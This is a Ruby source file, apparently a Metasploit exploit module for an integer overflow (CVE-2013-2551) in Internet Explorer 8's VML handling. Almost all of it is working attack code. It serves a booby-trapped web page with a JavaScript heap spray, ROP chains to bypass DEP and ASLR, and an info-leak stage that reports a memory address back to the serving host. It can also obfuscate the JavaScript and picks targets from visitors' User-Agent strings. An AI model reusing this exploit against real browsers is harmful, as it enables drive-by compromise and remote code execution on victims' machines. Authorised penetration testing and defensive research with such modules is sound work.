##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "8.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => Rank
	})


	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS13-009 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
			'Description'    => %q{
					This module exploits an integer overflow vulnerability on Internet Explorer.
				The vulnerability exists in the handling of the dashstyle.array length for vml
				shapes on the vgx.dll module. This module has been tested successfully on Windows 7
				SP1 with IE8. It uses the the JRE6 to bypass ASLR by default. In addition a target
				to use an info leak to disclose the ntdll.dll base address is provided. This target
				requires ntdll.dll v6.1.7601.17514 (the default dll version on a fresh Windows 7 SP1
				installation) or ntdll.dll v6.1.7601.17725 (version installed after apply MS12-001).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Nicolas Joly', # Vulnerability discovery, PoC and analysis
					'4B5F5F4B', # PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2013-2551' ],
					[ 'OSVDB', '91197' ],
					[ 'BID', '58570' ],
					[ 'MSB', 'MS13-037' ],
					[ 'URL', 'http://www.vupen.com/blog/20130522.Advanced_Exploitation_of_IE10_Windows8_Pwn2Own_2013.php' ],
					[ 'URL', 'http://binvul.com/viewthread.php?tid=311' ]
				],
			'Payload'        =>
				{
					'Space'          => 948,
					'DisableNops'    => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 8 on Windows 7 SP1 with JRE ROP', # default
						{
							'Rop' => :jre,
							'Offset' => '0x5f4'
						}
					],
					# requires:
					# * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation)
					# * ntdll.dll v6.1.7601.17725 (MS12-001)
					[ 'IE 8 on Windows 7 SP1 with ntdll.dll Info Leak',
						{
							'Rop' => :ntdll,
							'Offset' => '0x5f4'
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 06 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def exploit
		@second_stage_url = rand_text_alpha(10)
		@leak_param = rand_text_alpha(5)
		super
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		# Land the payload at 0x0c0c0c0c
		# For IE 8
		js = %Q|
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);
		heap_obj.gc();
		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		|

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def get_ntdll_rop
		case @ntdll_version
		when "6.1.7601.17514"
			stack_pivot = [
				@ntdll_base+0x0001578a, # ret # from ntdll
				@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
				@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
			].pack("V*")
			ntdll_rop = [
				@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
				0x0c0c0c40, # ret to shellcode
				0xffffffff, # ProcessHandle
				0x0c0c0c34, # ptr to BaseAddress
				0x0c0c0c38, # ptr to NumberOfBytesToProtect
				0x00000040, # NewAccessProtection
				0x0c0c0c3c, # ptr to OldAccessProtection
				0x0c0c0c40, # BaseAddress
				0x00000400, # NumberOfBytesToProtect
				0x41414141  # OldAccessProtection
			].pack("V*")
			return stack_pivot + ntdll_rop
		when "6.1.7601.17725"
			stack_pivot = [
				@ntdll_base+0x0001579a, # ret # from ntdll
				@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
				@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
			].pack("V*")
			ntdll_rop = [
				@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
				0x0c0c0c40, # ret to shellcode
				0xffffffff, # ProcessHandle
				0x0c0c0c34, # ptr to BaseAddress
				0x0c0c0c38, # ptr to NumberOfBytesToProtect
				0x00000040, # NewAccessProtection
				0x0c0c0c3c, # ptr to OldAccessProtection
				0x0c0c0c40, # BaseAddress
				0x00000400, # NumberOfBytesToProtect
				0x41414141  # OldAccessProtection
			].pack("V*")
			return stack_pivot + ntdll_rop
		else
			return ""
		end
	end

	def get_payload(t, cli)
		code = payload.encoded
		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :jre
			print_status("Using JRE ROP")
			stack_pivot = [
				0x7c348b06, # ret # from msvcr71
				0x7c341748, # pop ebx # ret # from msvcr71
				0x7c348b05  # xchg eax, esp # ret from msvcr71
			].pack("V*")
			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
		when :ntdll
			print_status("Using ntdll ROP")
			rop_payload = get_ntdll_rop + payload.encoded
		end

		return rop_payload
	end

	def load_exploit_html(my_target, cli)
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)

		js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
	for(var i=0; i<0x1000; i++){
		rect_array[i]    = document.createElement("v:shape")
		rect_array[i].id = "rect" + i.toString()
		document.body.appendChild(rect_array[i])
	}
}

function exploit(){

	var vml1 = document.getElementById("vml1")

	for (var i=0; i<0x1000; i++){
		a[i] = document.getElementById("rect" + i.toString())._anchorRect;
		if (i == 0x800) {
			vml1.dashstyle = "1 2 3 4"
		}
	}

	vml1.dashstyle.array.length = 0 - 1;
	vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

	for (var i=0; i<0x1000; i++)
	{
		delete a[i];
		CollectGarbage();
	}
	location.reload();

}
		|

		create_rects_func = "createRects"
		exploit_func = "exploit"

		if datastore['OBFUSCATE']
			js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
			js_trigger.obfuscate
			create_rects_func = js_trigger.sym("createRects")
			exploit_func = js_trigger.sym("exploit")
		end

		html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
		|

		return html
	end

	def html_info_leak

		js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
	for(var i=0; i<0x400; i++){
		rect_array[i]    = document.createElement("v:shape")
		rect_array[i].id = "rect" + i.toString()
		document.body.appendChild(rect_array[i])
	}
}

function exploit(){

	var vml1  = document.getElementById("vml1")

	for (var i=0; i<0x400; i++){
		a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
	}

	for (var i=0; i<0x400; i++){
		a[i].rotation;
		if (i == 0x300) {
			vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
		}
	}

	var length_orig = vml1.dashstyle.array.length;
	vml1.dashstyle.array.length = 0 - 1;

	for (var i=0; i<0x400; i++)
	{
		a[i].marginLeft = "a";
		marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
		if (marginLeftAddress > 0) {
			vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
			var leak = a[i].marginLeft;
			vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
			vml1.dashstyle.array.length = length_orig;
			document.location = "#{get_resource}/#{@second_stage_url}" + "?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
			return;
		}
	}

}
		|

		create_rects_func = "createRects"
		exploit_func = "exploit"

		if datastore['OBFUSCATE']
			js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
			js_trigger.obfuscate
			create_rects_func = js_trigger.sym("createRects")
			exploit_func = js_trigger.sym("exploit")
		end

		html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
		|

		return html

	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		if my_target['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
			html = html_info_leak
			html = html.gsub(/^\t\t/, '')
			print_status("Sending HTML to info leak...")
			send_response(cli, html, {'Content-Type'=>'text/html'})
		else
			leak = begin
				request.uri_parts["QueryString"][@leak_param].to_i
			rescue
				0
			end

			if leak == 0
				html = load_exploit_html(my_target, cli)
				html = html.gsub(/^\t\t/, '')
				print_status("Sending HTML to trigger...")
				send_response(cli, html, {'Content-Type'=>'text/html'})
				return
			end

			vprint_status("ntdll leak: 0x#{leak.to_s(16)}")
			fingerprint = leak & 0x0000ffff

			case fingerprint
			when 0x70B0
				@ntdll_version = "6.1.7601.17514"
				@ntdll_base = leak - 0x470B0
			when 0x7090
				@ntdll_version = "6.1.7601.17725" # MS12-001
				@ntdll_base = leak - 0x47090
			else
				print_error("ntdll version not detected, sending 404: #{agent}")
				send_not_found(cli)
				return
			end

			html = load_exploit_html(my_target, cli)
			html = html.gsub(/^\t\t/, '')
			print_status("Sending HTML to trigger...")
			send_response(cli, html, {'Content-Type'=>'text/html'})

		end

	end

end